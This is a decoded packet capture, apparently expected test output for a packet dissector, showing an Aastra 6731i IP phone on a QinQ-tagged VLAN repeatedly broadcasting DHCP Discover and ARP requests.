+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52355, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52371, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52403, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52413, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52420, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52435, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52467, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52470, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52478, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52493, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52524, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52534, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52541, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52556, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52588, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52591, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52598, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52613, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52645, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52649, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52656, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52672, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52704, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52708, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52715, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52731, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
